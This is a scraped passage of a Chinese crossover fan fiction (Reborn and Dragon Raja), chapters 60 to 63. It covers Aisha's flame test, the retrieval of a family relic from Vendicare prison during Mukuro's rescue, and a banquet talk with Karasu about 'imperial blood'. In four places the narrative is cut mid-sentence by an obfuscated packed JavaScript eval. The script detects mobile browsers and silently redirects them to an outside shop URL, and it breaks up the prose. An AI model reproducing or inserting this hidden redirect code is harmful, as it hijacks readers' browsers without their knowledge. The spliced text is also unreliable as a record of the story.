“什么属性?”她眨眨眼,又赶在他开口前道,“不不不让我猜猜!” 闻言,他笑了笑,用鼻音发出一种类似叹气的声音,算作应允。 “大空?”她首先猜了最不可能的。沢田说过,大空属性最为稀少,照她的非气是不大可能这么万里挑一了。不过最稀少的属性嘛,而且还和沢田一样,她难免抱有着一丝期待。 “不是。”就像完全洞悉了她的想法一样,他浅笑着摇了摇头。 “喔……”艾莎吐吐舌,但对于这种意料中的事,她也没感到特别失望,“那雷?” ‘雷’是她认为最有可能的。记得雷属性的效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658820|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果和无尘之地一样,都是‘防御’。 “也不是。” “难道是雾?”她眼睛一亮。 “为什么会猜雾?”沢田纲吉失笑。他很难把艾莎与他认知中的术士联系到一起。 “只是觉得雾属性很实用么……”她讪讪道,“感觉能用来逃票什么的。” ……不,雾属性的火焰才不是用来做逃票这种偷鸡摸狗的事的,就算是骸也不会这么做!给他给所有术士道歉啊喂! 沢田纲吉满头黑线。他还在等着艾莎继续猜,但她很长时间都没发出任何声音。 他下意识望向她,又在接触到她好奇的目光时猛地视线上移。 “…纲吉君?”艾莎问道,“说话的时候、你为什么不看我?” 为了印证自己的猜想,她又上前几步,停在了面对面交谈的正常距离上。 “没有的事。”他无比正经地否定道,但嗓音却因为她的靠近而隐隐发紧。 “不不不这绝对有吧!?”艾莎拿手比划一下,毫无眼力见地戳穿了他,“你的视线根本只停留在我天灵盖上方三寸的位置啊喂!?” 她又往前走了一步。 “有、有么?”他的手在身侧局促地动了一下,但最终没有后退。 “……是因为‘死气弹’么?”她反应过来后猛地顿住,声音也开始发紧。 “难道我做了什么奇怪的事么?” “没有!”这次沢田立即否定了。艾莎注意到他的耳根又红了,这让她不由回想起昨晚打死气弹前发生的事,顿时也有点不知所措。 “我的意思是……”她的嘴唇动了动,又不知道怎么解释。好在沢田及时接过了话茬。 “昨天晚上,艾莎中弹以后就立刻睡着了。应该是最近太累了。”他以一种斩钉截铁的语气道,“说起来,我也有过相似的经历——以前修行的时候,reborn就曾借助死气弹帮我进入高效的休息状态,这也算是死气弹的活用方法之一……” 他一连串地说了下去。这些话像是早已酝酿好的,就压在舌根底下,等着一刻不停地倾泻出去。 “喔……喔。” 艾莎愣愣地点点头。一方面她觉得沢田纲吉说的很对,她的确放松了很多,一看就是经过了高质量的休息;可另一方面她仍感到有哪里不对,或许是他现在的态度有点可疑—— 但沢田没给她留其它确认的机会。在以老师的身份朝她科普了又一大堆死气弹的知识后(这些知识相当冷门,与沢田先前偏向实用的教学风格大相径庭),他立刻拿出一只盒子,打开递到了艾莎手边。 ——里面是一枚戒指,朴素的银色圆环式样,中间是一小块椭圆的、灰扑扑的石头,看起来并不算特别珍贵,这让她暗自松了口气。 “比起从我这里知道答案,艾莎不如直接尝试点燃火焰看看?”沢田纲吉温声建议道。 他向下扫了一眼,随即又再度不自然地清了清嗓子,面色微赧的低声补充道: “……不着急。你、等你穿好鞋子。” 62. 第60章 祖先遗物 时间转眼就到了周四——复仇者所定下的、一月之期的最后一天。 “日子过得真快……” 再度回到文迪凯特许街这条空荡阴沉的街道上时,艾莎忍不住嘟囔了一句。 一个月前初来西西里时,她没想过会与这里的人产生这么深的联系。 她说得很小声,站在最前面的沢田纲吉没有听见;但一旁的库洛姆倒是侧过了头,面无表情地看了她一眼。 ——喔,不能说库洛姆,应该说是假扮成库洛姆的术士。 艾莎也是在今早才与他初次会面,那顶硕大的青蛙帽子给她留下了无比深刻的印象。 名为弗兰的术士长着一张古井无波的俊脸,说话常常拉长调子,呆板而轻飘飘的;给人的感觉与其说冷淡,倒不如说是非常有个性。 听沢田说他是法国人,但从他身上找不到法国人常有的那种傲慢。莫名其妙的,艾莎甚至觉得他们之间应该还挺合得来。 但不知为何,对方一见到她即称她为“传说中的凯·亚当斯”*。这令她十分摸不着头脑。 可惜当时光顾着震惊“头戴这么宽敞的帽子过门居然不会被卡住”这种问题以及思考“对视时究竟要看帽子上的青蛙眼珠子还是对方的眼珠子”这种事了,完全错过了深究的机会。 “…莎、艾莎?” 沢田纲吉的声音突然闯入她的思绪。她知道自己又犯了走神的老毛病。 艾莎抬起头,正撞上沢田无奈的目光。见她回神,他没有多说什么,而是简单的用眼神表达出征询确认的意味。 艾莎一愣,脑子里立即响起他昨晚说的话。 【如果明天的计划出现差错……无论如何,我不希望艾莎出手。】 所谓的计划指的就是营救彭格列的另一名雾守,六道骸。 沢田从未隐瞒过他来复仇者监狱的第二个目的,也不曾在她面前回避关于此事的商讨。 她知道这件事他已经筹备了很久很久,也知道库洛姆最近一直在修习完全遮蔽气息的幻术,现在也正以这样的方式隐匿在他们之中; 她还知道除了库洛姆、弗兰以外,参与营救六道骸的还有另一名名叫“玛蒙”的术士。只是对方并不与他们一道,而是另有任务在身,目前正在约定好的场所待命。 尽管她对营救计划的具体细节不甚清楚,但从这样的人员安排来看,也能猜个八九不离十。 理性上说,艾莎能理解沢田将她排除在计划之外的决定。她不是彭格列的成员,也不是计划需要的雾属性,更何况前两天才刚刚点燃死气之火。 可一想到他的出发点恐怕不是这些清晰冰冷的考量,而是单纯的不希望她卷入与复仇者的冲突当中,艾莎心里就颇为别扭。 “…知道啦。”她闷声应道。由于不确定附近有无绷带男的耳目,她选择了更加隐晦的表达方式。 “我会听话。” 面对这样的答话,沢田纲吉先是愣了愣,他的眼里飞快地闪过某种复杂思绪,而后才转过了身。 就如一个月前那样,他在某块灰色的石砖上连续敲击了三下。 墙上的砖块就像活过来似的,纷纷自主向后回缩。不久,一扇漆黑的巨大铁门出现在了他们面前。 没有人动。所有人静静地等待着。 很快,诡异的“当啷”声由远及近。这种纯粹的金属碰撞声让人稍微觉得牙酸,像是嘴里咬着一块冰凉的铁。 “吱呀”的一声长响,一只枯瘦的、缠满绷带的手按在门上。大门洞开,大量雾气从中涌出。 隔着缭绕的烟雾,艾莎能感到绷带男的目光居高临下地掠过他们每一个人。 “…彭格列,欢迎来到,复仇者监狱。”最终,他这么缓缓说道。 -- 接下来的路程与一个月以前别无二致。 他们排成一条纵列,在黑暗狭窄的山洞甬道中穿行。四周时不时有水滴击打岩石的声音响起,地面变得湿漉漉的。 抵达悬崖后,‘库洛姆’留在了原地(艾莎猜测真正的库洛姆也留了下来)。 她和沢田则踏上悬浮的岩石,继续被绷带男带领着、朝海的更远处走去。 …… 星星点点的绿色光芒在漆黑的房间内浮游。 和着幽森的光线,复仇者将一只小小的银制立方体放到了他们面前。 立方体约莫有两个手掌宽,其上雕刻着繁复茂盛的枝叶,重叠掩荫,栩栩如生。 光从外表很难看出这枚立方体的用途:它的表面无一丝缝隙,所以也不像容器,反而更像什么中世纪贵族放在手里把玩的器物——精致、贵重、无用,放在现在只能卖个好价钱,或是摆进博物馆里。 “领取的条件是‘火焰’,请同时点燃。”复仇者冷冷道。 说完,他便缓缓后撤,直至完全隐没进黑暗里。 艾莎与沢田对视一眼——他的脸色并不轻松,大概是挂念着骸那边的进展——沢田冲她微微点了点头,然后他们抬起手,各自点燃了火焰。 澄明的大空之炎焚燃着黑暗。 这是艾莎第一次见到沢田纲吉的死气之火。 ……沢田大概跟她一样,是个很失败的文科生。她默默想道。 ——像这样灿烂耀目的火焰,他到底是怎么想的、才会轻飘飘的用“也没什么大不了的”去形容啊! 有一瞬间她就连怎么呼吸都忘掉了也说不定,只是呆呆望着那团在大空戒指上熊熊燃烧的火焰,以及沢田纲吉被照亮的、漠然垂眸的侧脸。 “…艾莎?” 或许是久不见她动作,沢田有些疑惑地望了过来。 他点燃死气之火时的状态要比平常更严肃一些,甚至显得有点冷漠。可当注视着她时,他的眼神很明显的一下子就变柔和了。 她很轻易的就从那双金红色的瞳孔中找到了往日熟悉的影子。 “喔…嗯!” 脸烫得厉害,艾莎听见自己胡乱地应了两声,然后便学着沢田的动作,将点燃火焰的戒指凑近了那只小小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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右面则是一只双头老鹰,老鹰的两颗头颅都高高昂着,似乎在铁与血中睥睨一切——那是在秘党中有着悠久历史、而今却彻底没落的、甘贝特家族的家纹。 眼前的这一幕过于不可思议了。 就在艾莎犹豫着要不要直接打开这只匣子时,刺耳的警报声突然在房间内响彻。 地面剧烈地摇晃起来,幽幽的绿色光芒在黑暗中四处浮散,取而代之的是墙壁上一圈不断闪烁的红色警示灯。 “地震么?”艾莎眼疾手快地抓住匣子,把它塞进了自己的口袋里。 “发生什么事了?”沢田纲吉则警惕地皱眉,径直望向黑暗深处。 “……是入侵者。” 重新出现在他们面前的复仇者哑声道。他冷冷地盯着沢田看了一会儿,似乎在衡量着什么(后者坦然地任他打量)。 随后,他低声抛下一句“跟上”,便头也不回的快速离开了房间。 被单独留下的艾莎与沢田纲吉再度对视一眼。她咧开嘴,毫不吝啬地冲他竖了个大拇指,是“演得真像!”的意思;沢田的眉眼微微舒展开来,无奈地摇头领受了。 63. 第61章 脱身 海浪疯狂地拍打着岩壁。 他们在剧烈摇晃的道路上狂奔。隔着很远的距离,艾莎就看到了正在悬崖边缘摇摇欲坠的、库洛姆瘦弱的身影。 在她不远处是黑压压的一大群复仇者。这些似人非人的家伙都立在半空中,形成一个半圆状的队列;黑色的袍角和着当啷作响的铁链,在风中发出猎猎的响动。 艾莎身形微微一滞,但她很快就又松了口气: 那些复仇者并未对库洛姆表现出多少兴趣。他们纷纷无视了她,此刻正如鬼影般一个一个快速没入山洞洞口。 而等他们真正抵达悬崖时,除了先前一直与他们一起的那名复仇者默默驻足外,其余的都已经消失不见。 看来沢田纲吉的计划已成功了大半。 她能猜到他的安排——成功营救六道骸后,作为诱饵,弗兰会负责牵制住大部分的复仇者,制造已经带着骸逃出监狱的假象。那位名叫玛蒙的术士会在外面接应他。 而真正的六道骸则由库洛姆与沢田护送出狱——也就是说,即便已经脱身,现在六道骸仍在监狱之中。 可他到底被藏到了哪里? 尽管表面不动声色,艾莎心里还是很好奇。所谓的幻术究竟能做到什么程度呢?沢田说过,雾属性的特质是‘构筑’……她边想边将目光落到库洛姆身上。 库洛姆似乎受到了极大的惊吓,她的身体微微颤栗着,十分惹人爱怜的样子。 艾莎竭力回忆一个月前见到过的、真正的库洛姆的行为举止,但仍然无法确定:面前的女孩究竟是本尊,还是由六道骸假扮而成的冒牌货。 听沢田话里话外的意思,六道骸应该是个男人吧?她颇为犹疑地猜测着——一个男人真的可以将一位妙龄女孩扮演得这么形象生动么? ……可话又说回来,能够以男儿身反串女形而且还反串得天衣无缝让无数真·女孩都自惭形秽的,她认识的人里不就有一个么? 想到那个现今不知在世界上那块犄角旮旯晃荡的源家次子,艾莎不由抽了抽嘴角。她感到后背某处早已愈合的伤口又开始隐隐作痛。 但是不可能吧?她又想。那家伙喜欢扮女人还扮得那么像是因为他恋兄恋到精神分裂*——至少她是这么认为的——沢田纲吉哪可能认识那么脑子有坑的人? 所以果然……现在的库洛姆就是本—— 就在艾莎内心的天平不断向一边倾斜、就快要得出结论的时候,她看见‘库洛姆’突然踉跄着向前几步,站也站不稳的扑到了沢田身上。 “Boss……” 她的手紧紧揪着沢田的袖子,紫罗兰色的大眼睛水汪汪的,似乎下一秒就要害怕得哭出来。 沢田纲吉:“……” 艾莎:“……” ——嗯,六道骸,这绝对是六道骸! 艾莎面无表情地想道。 显然,沢田对此也是始料未及。他下意识望向艾莎的方向,结果发现她也正愣愣地看着自己。 两相对视,他托着‘库洛姆’的手一僵。气氛瞬间变得微妙起来。 就在他们相顾无言的时候,站在一旁的复仇者好像彻底丧失了围观的兴趣。他冷冷表示因为一些突发状况,他不得不立即将他们请离这里。 说完,他便驻足在山洞洞口处,以行动催促他们尽快离开。 见状,艾莎微微皱眉。她谨慎地走到沢田与库洛姆旁边,伸手环过库洛姆细瘦的肩膀,以一种低声劝慰的姿态将她带离了沢田身边。 刚一接手,她便感到对方比表现出来的还要虚弱不少,简直到了无法站立的程度。她不动声色地撑住了他。 对方并未将全部重量都压在她身上,身体的另一边似乎也正有人支撑着。艾莎猜测是真正的库洛姆。 手上传来的重量要比一个成年男子的正常体重轻上不少。但若其腿部完全无力,单凭库洛姆一个人也的确难以支撑。原来如此,是因为这样才迫不得已向沢田求助么…… 艾莎垂下眼帘。 她绝不是有意打断沢田与他的雾守间的友好交流。 她一脸正直地想。 只是考虑到绷带男是在使诈试探的可能,所以才不能让沢田束手束脚的,他现在算是他们这边唯一的战力。 再说了,谁让沢田纲吉说她不能出手的。否则由她来提防复仇者就好了,才不用帮忙扶住他的雾守。 想到这儿,她又对他生出一点说不清道不明的埋怨。真是说不清道不明,连她自己都觉得沢田无辜。 明明今早她还对他的安排表示过理解,但是现在,心里对他的不满简直克制不住,就像以前在北京吃过的酸汤水饺(二师兄说那很不正宗),用小锅炖煮着,咕嘟咕嘟地冒着泡泡。 艾莎有点闷闷地转过身。也因此没有注意到,沢田纲吉在她环住‘库洛姆’的手臂处微微停顿的、隐含纠结的眼神。 -- 接下来的一切再没什么波澜。 他们顺利离开了文迪凯特许街。在将库洛姆、或者说逃出生天的六道骸扶上车后,艾莎本想坐到驾驶座上,为沢田他们留出交谈的空间。 但没想到一转头,沢田纲吉自己已经握住了方向盘。她与他对视一眼,没怎么犹豫就坐到了他身边、也就是副驾驶的位置上。 他们沿着马路飞驰,老城区的风景映在车窗上,正一件一件的快速向后倒退,显示出一种透明而不真实的质感。 车里没有人说话,气氛莫名的紧绷着。 不多时,青色的雾气在后座零星弥散;从后视镜中,艾莎终于看到了彭格列另一名雾守、六道骸的真容。 “kufufufu……眼下可真是、讽刺得叫人说不出话的感动重逢啊……” 男人深蓝色的长发散乱垂落在身前,显得异常狼狈。他整个人像是从水里打捞上来的,身上只穿了一件单薄的白色囚服,正有水珠从上面不断滚落。 看得出来,男人此刻非常虚弱,但那双异色瞳犹不怀好意地微微眯起,叫人忍不住心生警惕。 在他身边,库洛姆有些慌乱地捧着毛巾,像是拿不准靠近的距离。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16658822|188344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而沢田则从后视镜与他对视一眼,然后便打开了车里的暖气。 “骸,好久不见。”他平静地打了招呼,嗓音温和沉稳。 与此同时,他们的车恰好也拐出了楼房林立的老城区。视野霎时间开阔起来,一望无垠的蔚蓝天空下,有白色的海鸟正自由的展翅翱翔。 六道骸被大片大片的阳光刺得闭了闭眼。 “…kufufu,可别指望我对肮脏的mafia表达谢意……” 他没有回应沢田的好意,唇边也兀自挂着一抹讥讽的淡笑,但不知为何,艾莎就是感到刚才车里那种紧绷的氛围悄然缓和了。 库洛姆应该也有同样的感受。她的手在毛巾边缘紧了又紧,原本迟疑的目光逐渐变得坚定起来。 终于,她将干燥的毛巾递到六道骸手边。这一次,他没有拒绝她的靠近。 -- 沢田纲吉并没有把车开回彭格列本部,而是兜兜转转、在一处海边别墅前停了下来。 发动机才刚刚熄灭,屋子里就又奔出三人。两男一女,年纪都不大,神色都很焦急,看起来已经等候多时。 后座车门打开,在沢田的帮助下,库洛姆搀扶着六道骸下了车。他们被迎上来的三人簇拥着,唯一的那名女性似乎对库洛姆颇有微词,但很快就被另一名脸上映着条形码的苍白青年阻拦住了。 而另一边,三人中长着犬齿、一看就性格火爆的黄发青年也咋咋呼呼地大声说着什么,很快就挤开沢田扶住了六道骸。 除了那名戴眼镜的年轻人外,其余人吵吵闹闹着进了别墅。 沢田没有跟上去,他与留下的青年在原地低声交谈着,神情严肃,像是在嘱咐什么。 艾莎没有下车,而是隔着车窗注视着他们。谈话告一段落后,她看见那个苍白的青年推推眼镜,冷淡而郑重地向沢田点头致意。 她猜测到这一步为止,沢田的计划算是圆满结束了。因为再回到车上的时候,他脸上的神色轻松了不少。 “把他们就这样留在这里真的不要紧么?”她有些好奇地问。 这里距离彭格列本部尚有一段距离。而且看那群复仇者的意思,肯定不会就这么善罢甘休。 “这附近都由彭格列的技术部门保护,再加上库洛姆的幻术,短期内不会有问题。”沢田温声解释道,“至于再之后,会由彭格列出面,与复仇者监狱进行正式协商。” 从未来战时他便知道,复仇者制订的规则并不是不可撼动的。 只是要寻找机会……寻找让强大神秘如复仇者、也不得不为之妥协的机会。 想到这儿,沢田纲吉的眸色沉了沉。 “也就是说,六道骸的事已经告一段落了?”艾莎的声音在他身边响起。 “…嗯。”他轻吐出一口气,从今早就一直紧绷的神经在此刻终于放松下来。 他伸手将领带扯松了一点,然后虚虚握着方向盘,有那么一瞬间并不想启动车子,而是就这么跟她静静待在一起。 他听见不远处有潮声起落。 64. 第62章 一步之遥(上) 金碧辉煌的宴会厅内人来人往。所到宾客皆是从头到脚一副有钱人的派头,那叫一个觥筹交错衣香鬓影。 他们显然都有各自的社交圈子,此刻都一群一群的聚在一起。每个人脸上都洋溢着一团堪称虚假的喜气,时不时就从哪里爆发出一阵夸张的大笑。 ——然而这不包含艾莎与沢田纲吉。以他们为圆心半径2米的圈子无人进犯,形成了一个颇为诡异的真空地带。 “…纲吉君,是我的错觉么?”她迟疑着问,“为什么大家好像都不敢看我们?” “…我也在想同样的问题。”趁着一个无人注意的当口,他悄声回应道。 倒不是说他们被无视了个彻底。 恰恰相反,艾莎能感到许多若有若无的打量。但每当她与其中一个对上视线,对方就会立即惊慌失措地移开目光。 比如不远处那个古代王公打扮、脖子上还缠绕着一条巨蟒的印度男人——她还只是望向他的方向而已,结果男人当即弹跳起来加一个惊恐的后转身,然后因为用力过猛而一头撞晕在了墙上…… “所以…到底是为什么?” 她微抽着嘴角目送那个印度男人被几个侍应生快步抬走了。然而再与沢田互看一眼,彼此都是一头雾水的样子。 就在这时,另一道懒洋洋的男声自顾自地接过了话茬。 “这是当然的吧?”该男声一副看热闹不嫌事大的语气,“外面都传彭格列被你迷得团团转——‘只要谁在宴会上多看你一眼就会被嫉妒到发狂的彭格列连人带家族消灭个干净’之类的。有洛克和德维尔的前车之鉴,搁这谁还敢看你们啊?” 一边这么说着,巨大的水晶吊灯下,戴着细框眼镜的东洋男人一边致敬般朝他们举了举杯。 “恭喜你们从此在里世界多了个诨名——”他满脸都写着幸灾乐祸,“‘暴君和魔性の美人’。” 艾莎:“……” 沢田纲吉:“……” 暴、暴什么? 听到的内容过于雷人,他们俩一起咔吧咔吧的僵成了石膏人。 “…了不得的机会啊纲吉君。”半晌后艾莎率先开口,一副已经恢复冷静的样子。 “你有什么早就看不顺眼又找不到机会铲除的Mafia么?告诉我我这就去瞪他!” 尽管表情十分上道,但其实她并不知道自己在说什么。 “…不,艾莎,”沢田纲吉后她一步找回自己的声音,“别说什么了不得的机会了…这样只会把我们变成两个了不得的人渣而已。” 尽管此槽吐得十分到位,但其实他也不知道自己在说什么。 乌鸦左看看右看看,脸上流露出了十分耐人寻味的神情。 “占用你的女伴一点时间,”他说,“沢田君,不介意吧?” 他指指不远处的露台,摆出了想要单独谈话的架势。 艾莎与沢田纲吉对视一眼。她大致猜到了乌鸦想聊什么,于是耸耸肩,主动松开了挽着沢田胳膊的手。 “走吧。” 可还没迈开步子,她就感到肩头微微一沉;低头一看,身上已多了一件宽大的西装外套。 她有些不明所以地抬起头,正撞上褐发青年温柔专注的暖棕色眼睛。 “外面凉。”他轻声道。 她愣愣地点了点头。 乌鸦再次左看看右看看,这一回他露出了“世界怎么还不爆炸情侣都去死吧”的残念表情。 -- 玻璃门轻轻阖上,隔绝了一室的繁华喧闹。 艾莎快步走到了露台边缘。现在是四月末,天气早已转暖,只是夜风仍然很大。 这么点寒凉对混血种来说不算什么,但她还是不由自主地拢了拢身上的外套,想要将上面残余的暖意留存得更久一点。 乌鸦慢吞吞走到她对面。他先是看看她的动作,然后重重地叹了口气。 “你的伤好了么?”艾莎被他那种古怪的眼神看得浑身不自在。 “托你的福,暂时死不了。”这街头流氓开始满嘴跑火车,“比起前几个月在日本那次可差远了……欸,上次在船上捅了我一刀的那个王八蛋叫什么名字来着?藤原龙之介么?*” “不记得了。”艾莎直接打断了他,她试图直入主题,“你是想问雅纪的事么?” 有了那些实验记录后,雅纪体内的α毒素很快就被威尔帝化解。艾莎本想带他回欧洲大陆,但沢田纲吉坚持认为他应与自己的母亲团聚。 为此他们争辩了很久,尽管她最终让步,但心里还是有点不服气的。 “可别提雅纪——你知道我本来好端端躺在床上养伤摸鱼,结果你突然带着一堆什么【game】的资料和一个本该死去的小孩走进来的时候我有多崩溃么!?”乌鸦满腔控诉,“而且我翻了一天才反应过来那些资料是掐头去尾不完整的!” “让你躺赢还不好么?你带那孩子回去就是大功一件了吧?”艾莎淡淡道。 “少来这套。”乌鸦说,“大家长已经表态,家族不会出面干涉那孩子的事。回到日本后,他会与村上圣子一起回归正常生活。厚生省的福利机构会定期上门访问,提供一切他们所需的帮助。” 他顿了顿,又道,“目前村上圣子已经得到了消息。她很激动,也很感激救助雅纪的人。” “出卖过孩子的母亲也会真心悔过么?”她低声问。 “这你得相信我。”乌鸦耸耸肩,“好歹在道上混了这么多年。真心悔过的人和想把孩子接回来再卖一次的人的眼神我还是分得清的。” 艾莎沉默片刻,“所以呢?把我叫出来就是为了说这个么?” “当然不是了。”乌鸦说,“可事到如今我再问你拉尔夫究竟在西西里做了什么,你大概也不会告诉我吧?以前老大跟我说,中国有句古话叫‘胳膊肘朝外拐’,我看你不是朝外拐、根本是拐得飞出去了……” 说着,他不再看她,而是转身倚靠在了露台上。那双握着威士忌酒杯的手从栏杆处延伸出去不断交替,万分纠结的样子。 艾莎看出他是想说什么正事,于是终于不怎么情愿地放弃了尽快回到室内的想法。她又拢了拢身上的西装外套,沉默着等他开口。 结果乌鸦憋了半天憋出一句: “你说你怎么不跟老大在一起呢?出身血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你给我的资料我都看了。这些年拉尔夫藏得也算隐蔽,你被牵扯进第一个【game】还能算是意外,但第二场不是。可他为什么要用这样的方式自取灭亡?他不可能不认得你。” “因为他本来就想摆脱德维尔。”艾莎说,“…如果不是纲吉君,他很可能已经成功了。” “不是这个原因。”乌鸦淡淡道,“我比你更了解拉尔夫的行为模式,我研究过他。像他这样习惯躲藏的老狐狸,绝不会无缘无故的主动捣毁自己的巢穴。即便那只是他众多巢穴中的一处。” “——他不顾一切的把你拉进【game】,只可能是因为他判断这样做能获得的利益远超风险。换句话说,有什么巨大的潜在利益存在,即便是拉尔夫这样谨慎的人也无法抗拒它的诱惑。” “你到底想说什么?”艾莎微微皱眉。 从刚刚开始乌鸦就一直在兜圈子,像是想提起什么话题,只是不知道如何开口。 65. 第63章 一步之遥(下) Por “两个月了,关于战争彻底结束的消息已经传遍了混血种世界的每个角落。”乌鸦说,“连带着兴起的还有很多传言。” “什么传言?”艾莎轻轻挑眉。 “什么传言都有。”乌鸦耸耸肩,“你得承认,对于没有进入那个尼伯龙根的混血种来说,这场战争的疑点很多。” “——秘党对外宣称黑王已被杀死,却又拿不出龙骨十字那样的铁证;而战争的幸存者对所经历的一切竟然都选择缄口不言。所以外头越传越离谱:有人说黑王根本没死;也有人说黑王和其他龙王一样,都是双生子。被杀死的只是其中之一、哥哥或者弟弟,被剩下的那个至今仍在这世上游荡,静静等待着复仇的那一天到来。” 艾莎不置可否。 “你也没有进入那个尼伯龙根,”她低声问,“你也相信这些流言么?” “当然不了。要我说黑王没死的说法纯粹是扯淡。”乌鸦撇撇嘴,“其它的不说,看你现在的状态就知道了——如果黑王真的没死,你有可能这么放松么?你是昂热校长意志的继承者,一定会把他未竟的事情做完。” 艾莎没说话,算是默认。 乌鸦松松握着剔透的酒杯,仰头望着漆黑的长夜。 “但是这诸多传闻中,唯独有一条很让人在意。因为它和单纯的臆测不同——唯独这条——像是战争的知情者说出来的。” “…是什么?”艾莎问。 乌鸦还是不看她。过了很久,他终于轻吐出一口气,既为难又倦怠的样子: “皇血。”他缓缓道,“有人说进入过那个尼伯龙根的混血种,最终都得以沐浴皇血。” 这两个字一出口,他就像是完成了什么艰巨的任务、或是做出了什么艰难的抉择一样,整个人顿时都松垮下来。 “听起来很诱人不是么?”乌鸦说,“而且很可信。这毕竟不是黑王第一次被杀死,有关这件事的记载就隐藏在那些残缺的史诗里。” “‘黑龙之王尼德霍格’,”艾莎轻声道,“‘人们把他巨大的尸体放置在山顶。他的血液如岩浆一样流淌,染红了整座山,融化了冰雪,带着血色的水汽升上天空,变成暗红色的云,降下鲜红的雨’。*” 她的语气很平静,但偏偏不像单纯的吟诵诗歌——就仿佛她眼前也正落下红雨。雨中有人欢呼,声如狂雷;也有人一言不发,侧影如枯木。 “…这么说是真的了?”乌鸦不由悚然,“那天的尼伯龙根里,真的下了一场血雨?” 这真不怪他没见识。对于龙族来说,同类的血肉就是最好的进化药,龙族依靠吞噬同族的身体来增长力量。 然而龙血于人类却是致命的毒药,普通人触之即死,即便是混血种也会产生血统污染、变异成死侍那样的东西。 ——但也有极小极小的概率,混血种能够通过沐浴龙血成功进化。 古代的屠龙英雄就经常用龙血冲刷自己的身体,他们对外称这样可以令他们刀枪不入。*可其实就是在赌命,成功者寥寥。 并且即便是这些素有英名的屠龙者,所斩杀的至多也不过是力量微弱的四代种和五代种。 那么黑王的血呢? 沐浴了皇血的人究竟会变成什么样的怪物? “…你能不用这种惊恐的表情瞪着我么?”艾莎诚实槽道,“我会觉得自己下一秒就要变身成哥斯拉什么的了……” “相信我,在我眼里你可比哥斯拉恐怖多了。”乌鸦木然道。 艾莎耸了耸肩。 见她的反应稀松平常,乌鸦胆子也大了一点。 他小心翼翼看了看周围,然后压低嗓音凑近道: “所以我能问么?皇血的功效是什么?真跟传闻中那样,让人能跨越临界血限、无限爆血什么的么?” 他动作鬼鬼祟祟,眼睛里闪动着的光彩不可谓不神往。 “还无限爆血、真要能无限爆血不就无敌了?”艾莎边呛声边嫌弃的往旁边挪了两步。 “我要真无敌了我还混这么惨么?我肯定趁机敲诈美利坚一大笔钱,然后把富坚义博买下来,让他天天给我画全职猎人一直画到大结局好么?” 看她这计划没出息得如此行云流水,显然是平时没少畅想。 “好像是这么个理……”乌鸦被她说得一愣一愣的。 “所以所谓的‘皇血’就是一场普通的雨?”他有点不死心的继续追问,“什么其它效果都没有么?” “也不能这么说……”艾莎想了想道,“战后我的血统本该濒临失控,就像楚师兄之前那样。可在医院等了几天都没出事,应该就跟那场血雨有关。” “要说变强的确也变强了一些……”她看看乌鸦的表情,又立即补充道,“但肯定没有你想的那么邪乎。” “喔……”乌鸦的眉毛耷拉下来,说不清是失望还是松了一口气。 “这事你直接去问象龟不就行了?”艾莎不大想就这个话题跟他细说,“象龟不肯告诉你么?” “别提了。”乌鸦挠挠头,“每次想跟老大提都会被樱用滚烫的茶水拦下,搞得我也疑神疑鬼,以为这是什么了不得的禁忌了……” 每次提到樱时,他总是一副嫌麻烦的嘴脸,但脸上神情却不可抑制地柔软下去。 “不过这样也好,”乌鸦说,“凡是力量都有代价。哪可能真有什么‘架子上掉牡丹饼’的好事呢?我就怕你们遇到什么都憋着不说。” “……嗯。”艾莎漫不经心地应了一声。她低头看着自己的双手,眼神晦暗不明。 “所以你的意思是拉尔夫觉得我沐浴了皇血,所以才不惜用构建多年的【game】作赌注,赌一个能研究我的机会么?” 说完,她发出一声嗤笑,说不上是讽刺还是不屑。 “世界上想把你切片研究的绝对不止拉尔夫一个人。”乌鸦无可奈何地摇了摇头,“就算你说皇血的作用乏善可陈,其他人也不会相信。更何况它也不是真的一无是处。” “这场战争没有留下黑王的尸体,没有回收龙骨十字,就连那个尼伯龙根也随着黑王的死亡而彻底湮灭。这场战争留下的只有你们,你们是幸存者,但在更多混血种眼中,你们是黑王……仅存的遗产!” 他看着似乎不为所动的女孩,眼中闪动着友人纯然的担忧。 “艾ちゃん,这个世界比你想象中小得多,也危险得多。”他低声道,劝慰般的口吻,“看看你的同伴们吧:加图索君无所畏惧,因为他背后有他的整个家族;路君无所畏惧,因为他有小姐,有蛇岐八家,而且还躲藏在全世界治安最好的国家;楚君倒是跟你很像,没什么背景,还被学院分配去了北欧,但你也不想想他女朋友是谁——” “——只有你,你什么也没有。能庇护你的人已经死了。” 